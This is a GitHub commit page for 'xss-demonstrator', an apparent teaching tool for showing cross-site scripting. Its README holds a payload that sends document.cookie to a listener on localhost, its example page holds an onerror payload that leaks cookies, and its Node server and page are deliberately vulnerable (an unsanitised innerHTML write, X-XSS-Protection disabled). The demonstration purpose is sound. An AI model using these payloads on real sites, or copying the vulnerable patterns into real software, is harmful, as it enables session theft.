-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit b8adc79
Showing
11 changed files
with
1,656 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
MIT License | ||
|
||
Copyright (c) 2018 nolze | ||
|
||
Permission is hereby granted, free of charge, to any person obtaining a copy | ||
of this software and associated documentation files (the "Software"), to deal | ||
in the Software without restriction, including without limitation the rights | ||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | ||
copies of the Software, and to permit persons to whom the Software is | ||
furnished to do so, subject to the following conditions: | ||
|
||
The above copyright notice and this permission notice shall be included in all | ||
copies or substantial portions of the Software. | ||
|
||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | ||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | ||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | ||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | ||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | ||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | ||
SOFTWARE. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,52 @@ | ||
# xss-demonstrator | ||
|
||
A simple interactive listener for demonstrating XSS attacks. | ||
|
||
![screen capture](assets/screen.gif) | ||
|
||
## Usage | ||
|
||
1\. Start demonstrator | ||
|
||
``` | ||
npm start | ||
``` | ||
|
||
2\. Execute an XSS payload on the victim webpage | ||
|
||
```js | ||
window.location = "http:https://localhost:8080/?" + document.cookie | ||
``` | ||
|
||
3\. The webpage is opened with the stolen cookies in demonstrator | ||
|
||
## Example | ||
|
||
1\. Start demonstrator | ||
|
||
``` | ||
npm start | ||
``` | ||
|
||
2\. Start the example server | ||
|
||
``` | ||
cd example | ||
node server.js | ||
``` | ||
|
||
3\. Open <http:https://localhost:8000/> | ||
|
||
## Todo | ||
|
||
* [ ] Add config feature | ||
* [ ] Complete packaging | ||
* [ ] Add tunneling proxy feature | ||
* [ ] Add more information gathering features | ||
* [ ] Add tests | ||
* [ ] Add icon | ||
* [ ] Add auto update | ||
|
||
## See also | ||
|
||
* BeEF <http:https://beefproject.com/> (for advanced purposes) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
<!DOCTYPE html> | ||
<html> | ||
<head> | ||
<meta charset="utf-8"> | ||
<title>Example</title> | ||
</head> | ||
<body> | ||
<div> | ||
<a href="/?msg=<img src=x onerror="document.head.innerHTML=`<link rel=stylesheet href='//localhost:8080/?`+document.cookie+`'>`">">Load an XSS payload on this page</a> | ||
</div> | ||
<p> | ||
Username: <input id="field" type="text" value="%NAME%" /><input id="login" type="submit" value="Log in"> | ||
</p> | ||
<h1>Welcome, %NAME%</h1> | ||
<textarea id="text" style="width:300px;height:200px;"> | ||
</textarea> | ||
<input id="preview" type="submit" value="Preview"> | ||
<p>Message: <span id="msg"></span></p> | ||
<script> | ||
document.getElementById("login").addEventListener("click", function(ev) { | ||
document.cookie = "username=" + document.getElementById("field").value | ||
location.reload() | ||
}) | ||
document.getElementById("preview").addEventListener("click", function(ev) { | ||
location.href = "/?msg=" + document.getElementById("text").value | ||
}) | ||
var msg = decodeURI(location.search.replace(/^\?msg=/, "")) | ||
document.getElementById("text").value = msg | ||
document.getElementById("msg").innerHTML = msg | ||
</script> | ||
</body> | ||
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
const http = require('http') | ||
|
||
const fs = require('fs') | ||
const path = require('path') | ||
const url = require('url') | ||
|
||
const PORT = 8000 | ||
const HOSTNAME = 'localhost' | ||
|
||
function cookieVal(cookie, key){ | ||
return ((cookie + ';').match(key + '=([^;]*)')||[])[1] | ||
} | ||
|
||
http.createServer(function (req, res) { | ||
let cookie | ||
console.log(req.headers.cookie, req.headers) | ||
if (req.headers.cookie === undefined) { | ||
cookie = "username=Admin" | ||
} else { | ||
cookie = req.headers.cookie | ||
} | ||
console.log(cookieVal(cookie, "username")) | ||
fs.readFile('index.html', 'utf8', function (err, data) { | ||
res.writeHead(200, { | ||
'Content-Type': 'text/html', | ||
'X-XSS-Protection': '0', | ||
'Set-Cookie': cookie | ||
}) | ||
// console.log(data, cookieVal(cookie, "username")) | ||
res.end(data.replace(/%NAME%/g, cookieVal(cookie, "username")), 'utf-8') | ||
}) | ||
}).listen(PORT, HOSTNAME) |
Oops, something went wrong.